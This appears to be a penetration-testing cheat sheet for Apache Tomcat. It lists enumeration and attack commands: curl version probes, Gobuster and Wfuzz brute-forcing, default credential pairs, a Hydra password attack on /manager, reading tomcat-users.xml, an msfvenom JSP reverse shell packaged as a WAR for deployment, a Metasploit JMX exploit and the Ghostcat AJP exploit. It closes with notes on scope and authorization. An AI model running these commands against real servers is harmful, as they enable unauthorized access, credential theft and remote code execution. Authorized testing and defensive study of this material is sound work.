enumeration

1. Tomcat Version Detection

Methods:

• HTTP Server Header:

  curl -I http://target:port/ | grep -i "Server"

  • Check if the "Server" header reveals the Tomcat version.

• /docs Page:

  curl -s http://target:port/docs/ | grep -i "Apache Tomcat"

  • Default documentation page may disclose the version.

• Error Pages:

  curl -s http://target:port/nonexistentpage

  • Sometimes, error pages leak version information.

• Specific File Checks:

  • If access is gained, check JAR files in /lib directory.

  • Version-specific vulnerabilities may relate to these files.

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2. Tomcat Directory Structure (Key Files)

• /bin - Executable scripts.

• /conf/tomcat-users.xml - Stores user credentials and roles.

• /conf/web.xml - Defines web application routes and configurations.

• /webapps/ - Web application deployment directory.

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3. Manager Application Enumeration

Directory Brute-forcing:

• Using Gobuster:

  gobuster dir -u http://target:port/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

• Using Wfuzz:

  wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://target:port/FUZZ

• Look for /manager and /host-manager paths.

Authentication Checks:

• Default Credentials:

  tomcat:tomcat
  admin:admin
  tomcat:password
  role1:role1
  role:changeme

• Brute-forcing Credentials:

  hydra -l tomcat -P /usr/share/wordlists/rockyou.txt target http-get /manager/html

• If access is gained, check for application deployment, undeployment, and management functionalities.

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4. Tomcat Credential Enumeration

tomcat-users.xml Enumeration:

• Local File Inclusion (LFI) to read credentials:

  cat /conf/tomcat-users.xml

• Check for plaintext usernames and passwords.

web.xml Enumeration:

• Identify application endpoints:

  cat /webapps/[app]/WEB-INF/web.xml

• Useful for mapping application routes and identifying potential attack vectors.

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5. WAR File Upload (Remote Code Execution)

• After authentication to /manager:

  • Upload a malicious WAR file containing a JSP web shell.

• Create JSP reverse shell:

  msfvenom -p java/jsp_shell_reverse_tcp LHOST=yourIP LPORT=yourPort -f war > shell.war

• Deploy via Manager interface and access via browser:

  http://target:port/shell.jsp

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6. JMX Enumeration & Exploitation

Using jmxterm:

java -jar jmxterm-1.0-alpha-4-uber.jar --url service:jmx:rmi:///jndi/rmi://target:port/jmxrmi

• Explore MBeans and their attributes/operations.

Using Metasploit:

use exploit/multi/misc/java_jmx_server
set RHOST target
set RPORT 1099
run

• JMX can expose sensitive information and allow for RCE.

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7. Connector Enumeration

AJP Connector:

• Check if AJP is enabled (Default: Port 8009):

  nmap -p 8009 --script ajp-headers target

• Exploit AJP using Ghostcat (CVE-2020-1938):

  python3 ghostcat.py -u target:8009

• AJP misconfigurations can lead to sensitive file disclosure or code execution.

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8. Web Application Enumeration

Directory & File Enumeration:

• Enumerate web applications in /webapps/ directory:

  gobuster dir -u http://target:port/webapps/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

• Find JSP files and servlets:

  wfuzz -c -z file,/usr/share/wordlists/extensions_common.txt --hc 404 http://target:port/FUZZ.jsp

Parameter Fuzzing:

• Fuzz application parameters for vulnerabilities:

  ffuf -u http://target:port/index.php?FUZZ=value -w /usr/share/wordlists/parameters.txt

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9. Configuration File Enumeration

• Identify sensitive configuration files:

  • catalina.properties

  • server.xml

  • context.xml

• Extract credentials, ports, and security settings.

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10. CVE Enumeration & Exploitation

• Identify version-specific vulnerabilities:

  searchsploit tomcat [version]

• Public exploits for Tomcat:

  exploitdb -s tomcat

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Important Considerations

• Least Privilege: Use minimal required privileges during enumeration.

• Target Scope: Stay within the defined scope of the penetration test.

• Documentation: Record all findings and methodologies.

• Client Communication: Keep the client informed of critical discoveries.

• Clean Up: Remove temporary files and restore original configurations if testing in an authorized environment.

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Summary of Key Findings

• Server Header & Docs: Identify Tomcat version.

• tomcat-users.xml: Extract credentials and roles.

• web.xml: Map routes and servlets.

• /manager & /host-manager: Manage applications.

• WAR File Upload: Achieve RCE.

• JMX Exposure: Possible RCE and data leaks.

• AJP Connector: Check for misconfigurations.

• Common CVEs: Search for known exploits.